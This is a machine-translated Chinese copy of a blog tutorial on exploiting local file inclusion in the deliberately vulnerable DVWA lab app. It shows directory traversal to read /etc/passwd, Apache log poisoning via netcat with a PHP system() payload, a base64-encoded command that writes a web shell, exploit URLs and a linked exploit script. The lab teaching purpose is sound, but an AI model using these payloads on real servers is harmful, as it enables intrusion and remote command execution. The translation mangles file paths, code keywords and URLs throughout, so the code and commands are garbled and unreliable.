该死的易受攻击的Web应用程序 - 本地文件包含 (LFI)
作者:
安萨里阿什法克

评论者:
等级:
5
三月 18, 2013
上次修改:三月 18, 2013

总结:

本地文件包含 (LFI) 是一种类型的漏洞,最常见于网站. 它允许攻击者包括本地文件, 通常是通过在Web服务器上的脚本. 漏洞的发生是由于没有正确验证用户提供的输入使用.

介绍

 

在第一部分中的 该死的弱势Web应用程序 (DVWA) 系列, 我们已经看到,我们可以安装 该死的易受攻击的Web应用程序 (DVWA)原路返回 5 R1.
 


 

现在, 另一次攻击,我们将测试向量被称为 本地文件包含 (LFI).
 

本地文件包含 (LFI) 是一种类型的漏洞,最常见于网站. 它允许攻击者包括本地文件, 通常是通过在Web服务器上的脚本.
 

漏洞的发生是由于没有正确验证用户提供的输入使用. 这可能会导致输出的文件的内容是微乎其微的东西, 但根据严重性, 列出几个它可以导致:
 


1. 在Web服务器上的代码执行.
2. 这可能会导致其他的攻击,如跨站点脚本如JavaScript客户端代码执行 (XSS).
3. 拒绝服务 (DoS攻击).
4. 数据盗窃和数据操作.

 

现在, 背后的想法 本地文件包含 (LFI) 攻击向量是, 它允许攻击者使用易受攻击的Web脚本包括在Web服务器上的本地文件,如果Web服务器有权限访问.
 

你都必须思考 “什么是一个伟大的交易?”.
 

好, 我必须说,这是一个非常严重的问题 如果Web服务器配置不正确.
 

让我们, 认为易受攻击的PHP脚本,攻击者可以通过包括Web服务器上的本地文件. 这意味着他将能够执行任何PHP代码,这是在那里的文件,被列入.
 

现在, 一些你必须思考 “执行PHP脚本包括一个本地文件时,它并不能帮助黑客获得访问有什么用?”.
 

Apache HTTP服务器 提供了多种不同的机制,用于记录在Web服务器上所发生的一切, 从最初的请求, 通过URL映射过程, 连接到最终决议, 包括在这个过程中可能已发生的任何错误.
 

下面是一个片段上发现的安全预警 Apache HTTP服务器的文档页面.
 

链接: http://httpd.apache.org/docs/2.4/logs.html
 

安全警告: 任何谁可以写信给Apache正在写一个日志文件所在的目录,几乎可以肯定获得服务器开始对uid, 这通常是根. 不给人家写日志存储在不知道后果的情况下进入该目录. 看到安全提示文件. 此外, 日志文件可能包含直接由客户端提供的信息, 不逃避. 因此, 它是可能的恶意客户端在日志文件中插入控制字符, 因此必须小心处理原木.

 

为了您的信息, 在 原路返回 5 R1, 在 Apache HTTP服务器的日志 文件位于:
 

/无功/日志/ apache2的/的access.log

/var/log/apache2/error.log


 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 日志文件路径
 

您已经阅读了上述安全警告日志目录权限. 如果攻击者成功地找到日志文件的路径,使用 目录遍历攻击, 他能毒死这些日志,在日志文件中写入恶意代码, 如果 “登录” 目录和文件权限配置不正确.
 

我们将看到我们如何能够 日志文件 这篇文章在后来的一部分.
 

有了基本信息 本地文件包含 (LFI), 让我们继续体验它在实际会议.
 

注意: 在原路返回 5 R1, 在 “的access.log” 文件的访问权限 “他人” 被设置为 “被禁止”.

 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 日志文件权限
 

现在, 让我们给 “可以阅读” 访问权限 “他人”.
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 阅读日志文件权限
 

我们设置 “可以阅读” 权限,以便我们能够证明 本地文件包含 (LFI) 攻击载体 该死的易受攻击的Web应用程序 (DVWA).
 

获取设置和GO.

 

让我们先登录到 该死的易受攻击的Web应用程序 (DVWA) 并设置 安全 水平,以 .
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 低安全
 

点击 文件包含.
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 文件包含“选项卡
 

HTTP://192.168.96.128/dvwa / / /的漏洞?页= include.php

 

要包括文件编辑 ?页=的index.php 在URL中,以确定哪些文件被包含.
 

让我们确认上面的URL是否是真的脆弱 本地文件包含.
 

我们将尽 目录遍历 并尝试包括 /etc / passwd文件 文件. 如果这个包容是全成, 我们会发现内容 /etc / passwd文件 在网页上显示的.
 

HTTP://192.168.96.128/dvwa / / /的漏洞?页= .. / .. / .. / .. / .. / etc / passwd文件

 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) /etc/passwd Inclusion
 

这看起来很不错! 我们能够包括 /etc / passwd文件 在该文件中 该死的易受攻击的Web应用程序 (DVWA) 作为成功的网页已显示的全部内容 /etc / passwd文件 文件.
 

我们的下一个任务就是尝试包括 Apache的日志文件. 再次, 我们将使用 目录遍历 并尝试包括 /无功/日志/ apache2的/的access.log 文件.
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) Access Log Inclusion
 

HTTP://192.168.96.128/dvwa / / /的漏洞?页= .. / .. / .. / .. /日志/ apache2的/的access.log

 

哇! 这是一个很好的一天,我们. 事情是工作在一个好办法. Apache Web服务器的 的access.log 文件包含成功. 这是一个伟大的迹象,现在, 我们可以前往,并尝试 Apache的错误日志.
 

注意: 正如我一直在使用这个走回头路 5 R1一年以来. 我会清除掉 的access.logerror.log中 所以,我能告诉你毒死的部分日志文件轻松.    

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 清除日志

我们已经准备好 的access.log 文件. 这是一个重要的步骤,因为这会帮助攻击者包括 的access.log 文件并执行 中毒的PHP代码 将被写入 的access.log 在此步骤中的文件. 检查的内容,可以确认中毒 error.log中 文件.
 

打开 终端 并连接到 Apache的Web服务器 在端口 80 运用 netcat的.
 

1
2
3
BT根@:〜# NC 192.168.96.128 80

GET /hazStart<?php系统(base64_decode($_GET[]));?>HTTP hazEnd的/1.1

 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 毒日志
 

现在, 让我们确认是否中毒成功. 对于这个, 我们都将打开 的access.logerror.log中 文件,并试着去了解它的条目.
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 毒日志
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 毒日志
 

凉爽! 诚意有的 日志文件中毒. 每一件事曾作为预期.
 

注意: 我们已经写了一个小型的PHP壳 的access.log 日志文件. 现在,我们的下一个动机是写另一个微型PHP壳该死的易受攻击的Web应用程序托管在Web服务器的根 (DVWA).

 

下面的命令,将在Web服务器上写一个小型的PHP外壳.
 

1
呼应 “<?php系统(base64_decode($_GET['P'])); ?>" > ../../webshel​​l.php

 

如果你还记得 微型PHP壳 我们注入的脚本, 的access.log 文件, shell脚本代码如下:
 

1
<?PHP 系统(base64_decode($_GET['A'])); ?>

 

你能猜到下一步,我们应该做的,以后找的shell脚本代码?
 

好, 现在我们将编码命令写入微型PHP的shell脚本来使用Web服务器的根 base64编码算法.
 

下面是一个简单的Python程序 Base64编码, 一个字符串:
 

1
2
3
4
5
#!/usr / bin中/蟒蛇

base64encodedstr = """echo "<?php系统(base64_decode($_GET['P'])); ?>" > ../../webshell.php"""

打印 "编码字符串: " + base64encodedstr.编码(“BASE64”,“严格”) + ""

 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) Base64 Encode
 

base64编码字符串 下面给出:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

这将是最后一步之前,我们都欢​​迎与外壳. 🙂
 

我们将导航到 网址 下面给出写 微型PHP的shell脚本Web服务器根目录.

HTTP://192.168.96.128/dvwa / / /的漏洞?页= .. / .. / .. / .. /日志/ apache2的/的access.log?A = ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) PHP Web Shell
 

最后!! 我们已经成功地做​​到了. 我们已上传了 微型PHP壳 使用 本地文件包含漏洞该死的易受攻击的Web应用程序 (DVWA).
 

我爱自动化,这就是原因,我爱蟒蛇. Python带给您出色的动力来完成复杂的事情非常简单,.
 

我已经写了,我们写了一个python脚本自动化开采 本地文件包含 (LFI)该死的易受攻击的Web应用程序 (DVWA).
 

该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) 利用脚本
 

漏洞利用脚本的长度是非常大的, 我已经压缩在这篇文章中所使用的所有脚本可供下载.
 

下载 该死的易受攻击的Web应用程序 – 本地文件包含 (LFI) 交材料:
 

DVWA - LFI漏洞脚本
DVWA - LFI漏洞脚本
DVWA LFI.zip
3.9 昆明植物
644 下载
详细资料...

 

感谢您抽出时间来阅读这篇文章. 我希望这有助于你. 请随时自由离开意见,如果您有任何疑问,或如果你想讨论任何有关 本地文件包含 (LFI).
 

46,419 总的看法, 30 今日观点

下面的两个选项卡下面的内容转变.

安萨里阿什法克

安全研究员
阿什法克安萨里是创始人 HackSys队 代号为 "豹". 他是一位安全研究人员在信息安全的各个方面的经验. 他曾撰写 "HackSys极端脆弱的驱动程序" 和 "死亡的shellcode". 他还撰写并出版了低层次软件开发的各种白皮书. 他的核心利益在于 "低水平开发", "逆向工程", "项目分析" 和 "混合起毛". 他是人工智能和机器学习的变形金刚迷. 他是章负责人 空普纳.

阿什法克安萨里的最新文章 (查看全部)

2 回应 “该死的易受攻击的Web应用程序 - 本地文件包含 (LFI)”

  1. 才有可能表现出无读取权限上的access.log攻击. 换句话说留下权限设置为禁止? 由于大多数服务器可能有这一套摆在首位. 将不胜感激.

发表评论

您的电子邮件地址不会被公开. 必需字段标记 *